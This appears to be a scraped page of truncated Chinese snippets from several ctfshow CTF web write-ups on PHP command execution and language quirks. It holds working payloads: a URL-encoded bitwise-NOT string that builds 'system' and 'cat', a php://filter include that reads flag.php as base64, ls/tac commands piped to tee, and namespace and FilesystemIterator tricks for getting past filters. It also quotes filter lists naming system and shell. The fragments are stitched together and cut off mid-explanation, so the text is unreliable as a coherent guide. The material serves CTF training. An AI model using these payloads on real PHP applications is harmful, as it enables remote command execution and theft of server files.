v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)| 2.web147 匹配不是以字母开头的字符串 ,create_funciton的用法,需要在前面加一个字符绕过正则,达到命令执行 %5c()可以绕过正则 php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名func...
payload:(同时这个也适用Web109)?v1=FilesystemIterator&v2=getcwd相当于执行:eval("echo new FilesystemIterator(getcwd());");getcwd()返回当前工作目录路径,之后创建一个FilesystemIterator对象,该对象会遍历当前目录中的文件,这里就是输出当前目录中第一个文件的路径。
ctfshow-web入门-SSRF 43702021-12-9 01:53:43 CTFshow-文件上传 1.4万2021-11-8 05:45:03 CTFshow-web入门-中期测评 40062021-9-4 16:03 无公网ip反弹shell 1万2021-8-30 01:34:56 手把手从0开始挖Laravel反序列化的链子 27872021-7-16 06:17:31 ...
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数 2.web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的S...
web 32过滤了: flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\( 这里考虑:利用文件包含以及伪协议读取?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php这里伪协议的意思是,php://filter(过滤器)/convert.base64-encode(base64编码的过滤器)/resource=flag....
web 91show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } 额,做题犯迷糊了,主要是一直想不懂phpphp%0aphp和php%0aphp...
?c=ls /|tee 1?c=tac /f149_15_h3r3|tee 2 CTFshow PHP web137 题目描述:没有难度 //确实,没骗人 考点:考察调用类中的函数 我们最终目标是执行echo file_get_contents("flag.php");语句,就是调用cyfshow类中getFlag()方法。 php中 ->与:: 调用类中的成员的区别: ...
ctfshow web入门php特性 回到顶部 php特性 web89 include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){$num=$_GET['num'];if(preg_match("/[0-9]/",$num)){die("no no no!"); }if(intval($num)){echo$flag;...
ctfshow_web入门 命令执行(全)——学习 命令执行 刚刚开始学习命令执行,萌新一个 因为是学习嘛,所以东西写的杂乱了 web 29 AI检测代码解析 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){...
CTFshow刷题日记-WEB-PHP特性(下篇123-150) web123,125,126 AI检测代码解析 error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){...